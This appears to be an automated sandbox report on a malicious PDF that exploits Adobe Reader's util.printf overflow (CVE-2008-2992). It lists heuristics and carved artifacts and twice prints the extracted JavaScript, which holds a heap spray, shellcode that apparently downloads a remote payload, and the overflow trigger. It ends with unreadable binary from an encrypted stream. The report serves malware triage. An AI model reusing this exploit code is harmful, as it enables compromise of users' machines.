MALICIOUS
208
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1553.005 Mark-of-the-Web Bypass
The PDF file is encrypted and contains an /OpenAction, indicating that JavaScript is used to execute code upon opening. The embedded JavaScript stream is likely responsible for decrypting and executing the main payload, which is hidden from static analysis. This technique is commonly used to deliver exploits or download further malicious content.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 6
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JSPDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0002_000.js |
pdf-javascript-stream | PDF /JS object 2 at offset 0x62 | 1881 bytes |
SHA-256: 391233a21dae23150bf743ab770f21bf8a92f130f1c372b185163c889bf6b3be |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var pppp = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u4beb%u315b%u51c9%u6a51%u5103%u6851%u216b%u0000%u5053%u5768%u9f89%uffc6%uebd5%u5934%ud231%u6852%u0200%u8420%u5252%u5152%u5052%ueb68%u2e55%uff3b%u89d5%u6ac6%u5b10%uff31%u5757%u5757%u6856%u062d%u7b18%ud5ff%uc085%u1a75%u744b%ueb10%uebe9%ue849%uffc7%uffff%u492f%u494e%u4d54%u6800%ub5f0%u56a2%ud5ff%u406a%u0068%u0010%u6800%u0000%u0040%u6857%ua458%ue553%ud5ff%u5393%u8953%u57e7%u0068%u0020%u5300%u6856%u9612%ue289%ud5ff%uc085%ucd74%u078b%uc301%uc085%ue575%uc358%u65e8%uffff%u31ff%u3239%u312e%u3836%u312e%u322e%u3031%u4100");
var nnn ="";
for (iCnt=128;iCnt>=0;--iCnt) nnn += unescape("%u9090%u9090%u9090%u9090%u9090");
heapbbbb = nnn + pppp;
bigbbbb = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapbbbb.length
while (bigbbbb.length<spray) bigbbbb+=bigbbbb;
fillbbbb = bigbbbb.substring(0, spray);
bbbb = bigbbbb.substring(0, bigbbbb.length-spray);
while(bbbb.length+spray < 0x40000) bbbb = bbbb+bbbb+fillbbbb;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = bbbb + heapbbbb;
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
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javascript_obj0002_000_shellcode_00.bin |
pdf-js-shellcode | pdf-js-unescape-shellcode recovered from PDF /JS object 2 at offset 0x62 | 350 bytes |
SHA-256: d04efe0ec8bc5332c0c93eb64376d0007210bb84e8da59a16f963f1c4e3e1e5e |
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generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 2 at offset 0x62 | 1879 bytes |
SHA-256: f25269ffef6d248db8a08fd16c0db5d4e454d1403173855a84ddba69ebddac3e |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var pppp = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u4beb%u315b%u51c9%u6a51%u5103%u6851%u216b%u0000%u5053%u5768%u9f89%uffc6%uebd5%u5934%ud231%u6852%u0200%u8420%u5252%u5152%u5052%ueb68%u2e55%uff3b%u89d5%u6ac6%u5b10%uff31%u5757%u5757%u6856%u062d%u7b18%ud5ff%uc085%u1a75%u744b%ueb10%uebe9%ue849%uffc7%uffff%u492f%u494e%u4d54%u6800%ub5f0%u56a2%ud5ff%u406a%u0068%u0010%u6800%u0000%u0040%u6857%ua458%ue553%ud5ff%u5393%u8953%u57e7%u0068%u0020%u5300%u6856%u9612%ue289%ud5ff%uc085%ucd74%u078b%uc301%uc085%ue575%uc358%u65e8%uffff%u31ff%u3239%u312e%u3836%u312e%u322e%u3031%u4100");
var nnn ="";
for (iCnt=128;iCnt>=0;--iCnt) nnn += unescape("%u9090%u9090%u9090%u9090%u9090");
heapbbbb = nnn + pppp;
bigbbbb = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapbbbb.length
while (bigbbbb.length<spray) bigbbbb+=bigbbbb;
fillbbbb = bigbbbb.substring(0, spray);
bbbb = bigbbbb.substring(0, bigbbbb.length-spray);
while(bbbb.length+spray < 0x40000) bbbb = bbbb+bbbb+fillbbbb;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = bbbb + heapbbbb;
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("E000f",num);
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javascript_obj0003_000.js |
pdf-javascript-stream | PDF /JS object 3 at offset 0x242 | 1881 bytes |
SHA-256: 0c83990f7f34e9f30186d73dafe4aeece7ca26bc62595d66f01672d5a20ba36c |
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Preview scriptFirst 1,000 lines of the extracted script
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U ���� �ki����{%<�oe�Fu4��X�g�p Ԧ6��5�. q� m�' ȫ ���4ِ.� k�� x*� &� nj ؛}K��8��"5H� �[ ȜJ� ?qbC)�q9��ڽq8[�� �ru]��7��i�S� E
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